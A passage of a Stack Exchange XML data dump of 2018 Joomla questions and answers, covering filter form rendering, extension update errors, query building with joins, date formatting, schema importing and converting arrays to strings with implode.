=&amp;gt; Array&#xA;                (&#xA;                    [0] =&amp;gt; SimpleXMLElement Object&#xA;                        (&#xA;                            [@attributes] =&amp;gt; Array&#xA;                                (&#xA;                                    [name] =&amp;gt; filter&#xA;                                )    &#xA;                            [field] =&amp;gt; Array&#xA;                                (&#xA;                                    [0] =&amp;gt; SimpleXMLElement Object&#xA;                                        (&#xA;                                            [@attributes] =&amp;gt; Array&#xA;                                                (&#xA;                                                    [name] =&amp;gt; search&#xA;                                                    [type] =&amp;gt; text&#xA;                                                    [label] =&amp;gt; COM_CONTRACT_CONTRACTS_SEARCH_IN_TITLE&#xA;                                                    [hint] =&amp;gt; JSEARCH_FILTER&#xA;                                                    [class] =&amp;gt; js-stools-search-string&#xA;                                                )&#xA;&#xA;                                        )&#xA;&#xA;                                    [1] =&amp;gt; SimpleXMLElement Object&#xA;                                        (&#xA;                                            [@attributes] =&amp;gt; Array&#xA;                                                (&#xA;                                                    [name] =&amp;gt; published&#xA;                                                    [type] =&amp;gt; status&#xA;                                                    [label] =&amp;gt; JOPTION_SELECT_PUBLISHED&#xA;                                                    [description] =&amp;gt; JOPTION_SELECT_PUBLISHED_DESC&#xA;                                                    [onchange] =&amp;gt; this.form.submit();&#xA;                                                )&#xA;&#xA;                                            [option] =&amp;gt; JOPTION_SELECT_PUBLISHED&#xA;                                        )&#xA;                                    )&#xA;                        )&#xA;                    [1] =&amp;gt; SimpleXMLElement Object&#xA;                        (&#xA;                            [@attributes] =&amp;gt; Array&#xA;                                (&#xA;                                    [name] =&amp;gt; list&#xA;                                )&#xA;&#xA;                            [field] =&amp;gt; SimpleXMLElement Object&#xA;                                (&#xA;                                    [@attributes] =&amp;gt; Array&#xA;                                        (&#xA;                                            [name] =&amp;gt; limit&#xA;                                            [type] =&amp;gt; limitbox&#xA;                                            [class] =&amp;gt; input-mini&#xA;                                            [default] =&amp;gt; 25&#xA;                                            [label] =&amp;gt; COM_CONTENT_LIST_LIMIT&#xA;                                            [description] =&amp;gt; COM_CONTRACT_LIST_LIMIT_DESC&#xA;                                            [onchange] =&amp;gt; this.form.submit();&#xA;                                        )&#xA;&#xA;                                )&#xA;&#xA;                        )&#xA;&#xA;                )&#xA;&#xA;        )&#xA;&#xA;    [repeat] =&amp;gt; &#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I got all the fields, but no field is rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;tmpl/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;filterForm-&amp;gt;renderField('search'); ?&amp;gt;&#xA;&amp;lt;?php echo $this-&amp;gt;filterForm-&amp;gt;renderField('published'); ?&amp;gt;&#xA;&amp;lt;?php echo $this-&amp;gt;filterForm-&amp;gt;renderField('clientlist'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="12709" LastEditorUserId="12709" LastEditDate="2018-09-27T12:17:06.533" LastActivityDate="2018-09-27T13:26:33.277" Title="Manually render filter form fields in layout" Tags="|joomla-3.x|custom-component|jform|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23517" PostTypeId="1" AcceptedAnswerId="23518" CreationDate="2018-09-27T12:26:52.937" Score="2" ViewCount="1014" Body="&lt;p&gt;I'm having a issue with a module update in Joomla.&#xA;I cannot update from RokSprocket Module 2.1.x to latest 2.1.24&lt;/p&gt;&#xA;&lt;p&gt;I am getting the error on trying to update&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Error&lt;/p&gt;&#xA;&lt;p&gt;RokSprocket needs at least RokCommon version 3.2.6. You currently have RokCommon version 3.2.5&lt;/p&gt;&#xA;&lt;p&gt;Warning&lt;/p&gt;&#xA;&lt;p&gt;Extension Update: Custom install routine failure.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Any advice?&lt;/p&gt;&#xA;" OwnerUserId="3956" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2018-09-27T14:55:38.520" Title="Cannot update RokSprocket Module 2.1.x to latest 2.1.24" Tags="|joomla-3.x|module|update|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23518" PostTypeId="2" ParentId="23517" CreationDate="2018-09-27T12:43:01.500" Score="3" Body="&lt;p&gt;This happened recently on a website I was working on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download and install manually the RokCommon update from &lt;a href=&quot;https://rockettheme.com/joomla/extensions/rokutilities&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://rockettheme.com/joomla/extensions/rokutilities&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-09-27T12:43:01.500" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23519" PostTypeId="2" ParentId="23516" CreationDate="2018-09-27T13:26:33.277" Score="3" Body="&lt;p&gt;Include group name as the second parameter in &lt;code&gt;renderField()&lt;/code&gt;, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;filterForm-&amp;gt;renderField('published', 'filter');&#xA;echo $this-&amp;gt;filterForm-&amp;gt;renderField('limit', 'list');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you want to run a loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($this-&amp;gt;filterForm-&amp;gt;getGroup('filter') as $field)&#xA;{&#xA;    echo $field-&amp;gt;renderField();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, you could create a custom version of &lt;code&gt;/layouts/joomla/searchtools/default.php&lt;/code&gt; in your component's folder and remove the CSS classes there. If you maintain the folder structure, it will be able to load default sublayouts without having to copy them.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-09-27T13:26:33.277" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23520" PostTypeId="2" ParentId="23512" CreationDate="2018-09-27T20:11:34.813" Score="1" Body="&lt;p&gt;It's simple the $query object used to select data from table #__deolegend and then on the same $query object again a select() is called, which will add these to the fields that has to be selected, then adding a join on the #__categories table on c.id and a.catid, which means the #__deolegend must contain a column catid, it doesn't matter that you have to select the column to apply join.&#xA;Also I will suggest that you print the $query object using :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $query;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you can have a better idea of the final query.&#xA;Also first check the structure of the tables.&#xA;If you can share your findings on these here we may be able to help you better.&#xA;Hope this helps &lt;/p&gt;&#xA;" OwnerUserId="8987" LastActivityDate="2018-09-27T20:11:34.813" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23521" PostTypeId="2" ParentId="23485" CreationDate="2018-09-27T20:17:01.003" Score="1" Body="&lt;p&gt;To fix jQuery issues on Joomla I will suggest you use &lt;a href=&quot;https://extensions.joomla.org/extension/jquery-easy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;jquery Easy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It provides options to load  jQuery and other Js as per your requirement also it removes all unnecessary js. Must try.&lt;/p&gt;&#xA;" OwnerUserId="8987" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2018-09-27T20:17:01.003" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23522" PostTypeId="2" ParentId="23512" CreationDate="2018-09-27T22:09:15.697" Score="1" Body="&lt;p&gt;I reckon Joomla's query method &lt;code&gt;select()&lt;/code&gt; has confused you.  This is a good reason why I don't like to make multiple &lt;code&gt;select()&lt;/code&gt; calls -- because only &lt;strong&gt;ONE&lt;/strong&gt; &lt;code&gt;SELECT&lt;/code&gt; clause is actually generated.&lt;/p&gt;&#xA;&lt;p&gt;If you call &lt;code&gt;echo $query-&amp;gt;dump();&lt;/code&gt; immediately after building your query, you will see the following query string (with your db prefix in place of &lt;code&gt;#_&lt;/code&gt;):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;SELECT a.id as id, a.greeting as greeting, a.published as published,`c`.`title` AS `category_title`&lt;/p&gt;&#xA;&lt;p&gt;FROM `lmnop_diolegend` AS `a`&lt;/p&gt;&#xA;&lt;p&gt;LEFT JOIN `lmnop_categories` AS `c` ON c.id =a.catid&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I mean, you could achieve the same generated query by calling &lt;code&gt;select()&lt;/code&gt; on each column name.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;select('a.id AS id')&#xA;-&amp;gt;select('a.greeting AS greeting')&#xA;-&amp;gt;select('a.published AS published')&#xA;-&amp;gt;select('c.title AS category_title')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Of course, it is perfectly valid to join two database tables together using columns that you have no intention of returning in the result set.&lt;/p&gt;&#xA;&lt;p&gt;By joining the two tables, you have the ability to nominate one or all of the columns from both of the tables involved in the query.  In fact, it is best practice to NOT include columns unless you are going to use them in your script.  Using &lt;code&gt;*&lt;/code&gt; is the simple/brief way to select all of the columns in a queried table, but it doesn't make sense to ask the database to return data that you don't need.&lt;/p&gt;&#xA;&lt;p&gt;Sometimes you might see an error that complains about a column not being in the &lt;code&gt;SELECT&lt;/code&gt; clause when you use &lt;code&gt;GROUP BY&lt;/code&gt;, but &lt;code&gt;JOIN&lt;/code&gt;s won't make this complaint.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Some notes about your query building code:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;By &amp;quot;chaining&amp;quot; the methods to the initial &lt;code&gt;$query&lt;/code&gt; declaration, you can avoid typing &lt;code&gt;$query&lt;/code&gt; over and over for each new method call.&lt;/li&gt;&#xA;&lt;li&gt;When using aliases on your columns in the SELECT clause, there is no point in declaring an alias if it is the same as your column name.  *The table aliases (&lt;code&gt;a.&lt;/code&gt; and &lt;code&gt;c.&lt;/code&gt;) are not used when accessing the elements in the result set.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;To avoid any confusion between the query building code and the generated query, I prefer to use &lt;code&gt;select()&lt;/code&gt; only once and feed it a single string of columns so that all of the columns are in one place in the code.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Because none of your column or table names contain any characters that will cause an issue/error with SQL, you can omit the &lt;code&gt;quoteName()&lt;/code&gt; calls -- not that it does any harm to keep them in, it's just that they are unnecessary.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;AS&lt;/code&gt; keyword is not necessary in my snippet below, but I believe it improves readability.&lt;/li&gt;&#xA;&lt;li&gt;As a matter of offering simple/helpful debugging features to my answer, I'll include a &lt;code&gt;try{}catch{}&lt;/code&gt; block, dump of the rendered query, and a check for no returned rows.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Here is a snippet that I tested to be successful on my localhost:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;try {&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select('a.id, a.greeting, a.published, c.title AS category_title')&#xA;                -&amp;gt;from(&amp;quot;#__diolegend AS a&amp;quot;)&#xA;                -&amp;gt;leftJoin(&amp;quot;#__categories AS c ON c.id = a.catid&amp;quot;);&#xA;    echo $query-&amp;gt;dump();&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $resultset = $db-&amp;gt;loadAssocList();&#xA;    if (!$resultset) {&#xA;        echo &amp;quot;No Rows In Resultset&amp;quot;;&#xA;    } else {&#xA;        foreach ($resultset as $row) {&#xA;            echo &amp;quot;&amp;lt;div&amp;gt;&amp;quot;;&#xA;                echo &amp;quot;&amp;lt;div&amp;gt;ID: {$row['id']}&amp;lt;/div&amp;gt;&amp;quot;;&#xA;                echo &amp;quot;&amp;lt;div&amp;gt;Greeting: {$row['greeting']}&amp;lt;/div&amp;gt;&amp;quot;;&#xA;                echo &amp;quot;&amp;lt;div&amp;gt;Published: {$row['published']}&amp;lt;/div&amp;gt;&amp;quot;;&#xA;                echo &amp;quot;&amp;lt;div&amp;gt;Category Title: {$row['category_title']}&amp;lt;/div&amp;gt;&amp;quot;;&#xA;            echo &amp;quot;&amp;lt;/div&amp;gt;&amp;quot;;&#xA;        }&#xA;    }&#xA;} catch (Exception $e) {&#xA;    echo &amp;quot;Syntax Error &amp;quot; , $e-&amp;gt;getMessage();  // never show `$e-&amp;gt;getMessage()` on a public site (only use privately / before your site is live)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will output:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;SELECT a.id, a.greeting, a.published, c.title AS category_title&lt;/p&gt;&#xA;&lt;p&gt;FROM lmnop_diolegend AS a&lt;/p&gt;&#xA;&lt;p&gt;LEFT JOIN lmnop_categories AS c ON c.id = a.catid&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;then a result set like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ID: 1&#xA;Greeting: Hello&#xA;Published: 1&#xA;Category Title: English&#xA;&#xA;ID: 2&#xA;Greeting: Bonjour&#xA;Published: 1&#xA;Category Title: French&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2018-09-27T22:46:34.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23524" PostTypeId="1" AcceptedAnswerId="23525" CreationDate="2018-09-29T18:44:00.010" Score="2" ViewCount="319" Body="&lt;p&gt;I'm trying to enter the date in tags default_items.php (in an override) to see the date in tags list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;code&gt;&amp;lt;?php echo $item-&amp;gt;displayDate; ?&amp;gt;&lt;/code&gt; and this prints: &lt;strong&gt;2018-08-04 06:04:37&lt;/strong&gt;, but I'm trying to format the date as &lt;strong&gt;4 Aug 2018&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the code below to change the format and display:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$mydate = $item-&amp;gt;displayDate;&#xA;echo $mydate-&amp;gt;format('j M Y');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this generates an error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Call to a member function format() on string&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I change the date to the new format?&lt;/p&gt;&#xA;" OwnerUserId="2199" LastEditorUserId="12352" LastEditDate="2018-10-01T12:59:33.243" LastActivityDate="2018-10-01T12:59:33.243" Title="How to reformat a date string?" Tags="|joomla-3.x|date|format|" AnswerCount="1" CommentCount="1" ClosedDate="2018-09-30T05:10:21.617" ContentLicense="CC BY-SA 4.0" />
  <row Id="23525" PostTypeId="2" ParentId="23524" CreationDate="2018-09-29T18:57:28.510" Score="2" Body="&lt;p&gt;&lt;code&gt;$mydate = $item-&amp;gt;displayDate;&lt;/code&gt; simply refers to the date string, therefore &lt;code&gt;$mydate&lt;/code&gt; is not an object and you cannot &lt;code&gt;format()&lt;/code&gt; it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to pass the date string through &lt;code&gt;JHtmlDate&lt;/code&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JHtml::_('date', $item-&amp;gt;displayDate, 'j M Y');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-09-29T18:57:28.510" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23526" PostTypeId="1" AcceptedAnswerId="23611" CreationDate="2018-10-01T06:47:17.627" Score="0" ViewCount="44" Body="&lt;p&gt;Joomla importer merger structure only merges the first table mentioned in schema.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$importer = new JDatabaseImporterMysqli();&#xA;$database = JFactory::getDBO();&#xA;$importer-&amp;gt;setDbo($database);&#xA;$filename = JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'components' . DIRECTORY_SEPARATOR . 'com_dtsms' . DIRECTORY_SEPARATOR . 'lib' . DIRECTORY_SEPARATOR . 'schema' . DIRECTORY_SEPARATOR . 'schema.xml';&#xA;$importer-&amp;gt;from(file_get_contents($filename));&#xA;&#xA;$importer-&amp;gt;mergeStructure();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sample XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;mysqldump xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&amp;gt;&#xA; &amp;lt;database name=&quot;&quot;&amp;gt;&#xA;  &amp;lt;table_structure name=&quot;#__dtsms_answer_settings&quot;&amp;gt;&#xA;   &amp;lt;field Field=&quot;id&quot; Type=&quot;bigint(7)&quot; Null=&quot;NO&quot; Key=&quot;PRI&quot; Extra=&quot;auto_increment&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;name&quot; Type=&quot;varchar(10)&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;description&quot; Type=&quot;varchar(256)&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;setting&quot; Type=&quot;text&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;state&quot; Type=&quot;tinyint(1)&quot; Null=&quot;YES&quot; Key=&quot;&quot; Default=&quot;0&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;ordering&quot; Type=&quot;bigint(7)&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;modified&quot; Type=&quot;datetime&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;creator&quot; Type=&quot;bigint(7)&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;default&quot; Type=&quot;tinyint(1)&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;created&quot; Type=&quot;datetime&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;key Table=&quot;#__dtsms_answer_settings&quot; Non_unique=&quot;0&quot; Key_name=&quot;PRIMARY&quot; Seq_in_index=&quot;1&quot; Column_name=&quot;id&quot; Collation=&quot;A&quot; Null=&quot;&quot; Index_type=&quot;BTREE&quot; Comment=&quot;&quot; /&amp;gt;&#xA;  &amp;lt;/table_structure&amp;gt;&#xA;  &amp;lt;table_structure name=&quot;#__dtsms_lists&quot;&amp;gt;&#xA;   &amp;lt;field Field=&quot;id&quot; Type=&quot;bigint(7)&quot; Null=&quot;NO&quot; Key=&quot;PRI&quot; Extra=&quot;auto_increment&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;name&quot; Type=&quot;varchar(100)&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;created&quot; Type=&quot;datetime&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;modified&quot; Type=&quot;datetime&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;createdby&quot; Type=&quot;bigint(7)&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;dtreg_event_id&quot; Type=&quot;binary(7)&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;ordering&quot; Type=&quot;int(7)&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;state&quot; Type=&quot;tinyint(1)&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;key Table=&quot;#__dtsms_lists&quot; Non_unique=&quot;0&quot; Key_name=&quot;PRIMARY&quot; Seq_in_index=&quot;1&quot; Column_name=&quot;id&quot; Collation=&quot;A&quot; Null=&quot;&quot; Index_type=&quot;BTREE&quot; Comment=&quot;&quot; /&amp;gt;&#xA;  &amp;lt;/table_structure&amp;gt;&#xA;  &amp;lt;table_structure name=&quot;#__dtsms_log_entries&quot;&amp;gt;&#xA;   &amp;lt;field Field=&quot;priority&quot; Type=&quot;int(11)&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;message&quot; Type=&quot;varchar(512)&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;date&quot; Type=&quot;datetime&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;category&quot; Type=&quot;varchar(255)&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;user_id&quot; Type=&quot;bigint(7)&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;field Field=&quot;recipient_id&quot; Type=&quot;bigint(7)&quot; Null=&quot;YES&quot; Key=&quot;&quot; Extra=&quot;&quot; /&amp;gt;&#xA;  &amp;lt;/table_structure&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The expected result is to merge all table structures. But it only merges &lt;code&gt;#__dtsms_answer_settings&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9576" LastEditorUserId="11451" LastEditDate="2018-10-07T15:11:35.510" LastActivityDate="2018-10-17T02:31:38.257" Title="Joomla importer merger structure only merges first table mentioned in schema" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23527" PostTypeId="2" ParentId="23515" CreationDate="2018-10-01T20:04:28.663" Score="0" Body="&lt;p&gt;I suspect the issue is caused by the version of PHP that you have on the new server. Try doing the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ensure that the new server has the same PHP version that's on the old server.&lt;/li&gt;&#xA;&lt;li&gt;Update the website to the latest version of Joomla (of course, assuming the PHP version on the new server allows it)&lt;/li&gt;&#xA;&lt;li&gt;Update to the latest PHP version on the new server&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Make sure that you backup your website before updating it, also, make sure that you do the above during off hours. It's not fun when the site goes down for hours during peak time.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-10-01T20:04:28.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23528" PostTypeId="2" ParentId="9389" CreationDate="2018-10-01T20:28:00.997" Score="0" Body="&lt;p&gt;You can use  wrapper, unfortunately you can't fill non unique array keys. Then catch data by &quot;fields&quot; name  ...-&gt;input-&gt;get('jform') &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$jform['keyname']['a1']&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;keyname&quot;&amp;gt; &#xA;    &amp;lt;field  name=&quot;gralev_code[a1]&quot; &#xA;        type=&quot;text&quot; &#xA;        label=&quot;JSCH_GRALEV_CODE&quot;/&amp;gt;&#xA; &amp;lt;fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12924" LastEditorUserId="12924" LastEditDate="2018-10-30T15:43:50.797" LastActivityDate="2018-10-30T15:43:50.797" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23529" PostTypeId="1" CreationDate="2018-10-01T22:45:05.693" Score="1" ViewCount="295" Body="&lt;p&gt;From the code below, the output is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta mytags=&quot;tags&quot; content=&quot;Array&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but if I echo the &lt;code&gt;array_values($field-&amp;gt;rawvalue)&lt;/code&gt;, it displays all the populated values from the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone point to what I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($field-&amp;gt;id === '10') {&#xA;    //Makes sure the field is not empty&#xA;    if (!empty($field-&amp;gt;rawvalue)) {&#xA;        //Inserts the field content with markup into the HTML head&#xA;        $customField = '&amp;lt;meta mytags=&quot;' . $field-&amp;gt;label . '&quot; content=&quot;' . array_values($field-&amp;gt;rawvalue) . '&quot; /&amp;gt;';&#xA;        $document-&amp;gt;addCustomTag($customField);&#xA;    }&#xA;    continue;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12922" LastEditorUserId="12352" LastEditDate="2018-10-02T12:32:01.173" LastActivityDate="2018-10-02T12:32:01.173" Title="In custom fields, array_values() prints &quot;Array&quot;" Tags="|joomla-3.x|php|array|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23530" PostTypeId="2" ParentId="23529" CreationDate="2018-10-02T04:27:32.140" Score="2" Body="&lt;p&gt;PHP &lt;a href=&quot;http://php.net/manual/en/function.array-values.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;array_values&lt;/code&gt;&lt;/a&gt; returns an array - that's why you get &quot;array&quot; printed out. Most likely if you deal with an array and want to make it a string, then you are after &lt;code&gt;implode($separator, $array);&lt;/code&gt; &lt;a href=&quot;http://php.net/manual/en/function.implode.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://php.net/manual/en/function.implode.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, for a comma separated string you can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;implode(',', $field-&amp;gt;rawvalue);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But you have to make clear what's type is in your &lt;code&gt;$field-&amp;gt;rawvalue&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-10-02T04:27:32.140" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23531" PostTypeId="2" ParentId="23529" CreationDate="2018-10-02T05:45:54.307" Score="1" Body="&lt;p&gt;To construct your tag data in the format that can be echoed into the html, you must convert the data into a string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;array_values()&lt;/code&gt; does not convert an array to a string, it reindexes (assigns new numeric keys starting from &lt;code&gt;0&lt;/code&gt;) the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you wish to generate a string with comma-separated values, you should use &lt;code&gt;implode(',', $field-&amp;gt;rawvalue)&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($field-&amp;gt;id === '10' &amp;amp;&amp;amp; !empty($field-&amp;gt;rawvalue)) {&#xA;    //Inserts the field content with markup into the HTML head&#xA;    $customField = '&amp;lt;meta mytags=&quot;' . $field-&amp;gt;label . '&quot; content=&quot;' . implode(`,`, $field-&amp;gt;rawvalue) . '&quot; /&amp;gt;';&#xA;    $document-&amp;gt;addCustomTag($customField);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If for some reason, you have double quotes in your array values, you'll need to escape them after imploding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. I am not sure if &lt;code&gt;continue&lt;/code&gt; is necessary in your loop (it is meaningless if there are no more lines of code after the &lt;code&gt;if&lt;/code&gt; block in your loop).  For that matter, I don't even know if that loop is necessary -- I'd need to see a bit more code to properly review.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-10-02T09:05:47.980" LastActivityDate="2018-10-02T09:05:47.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
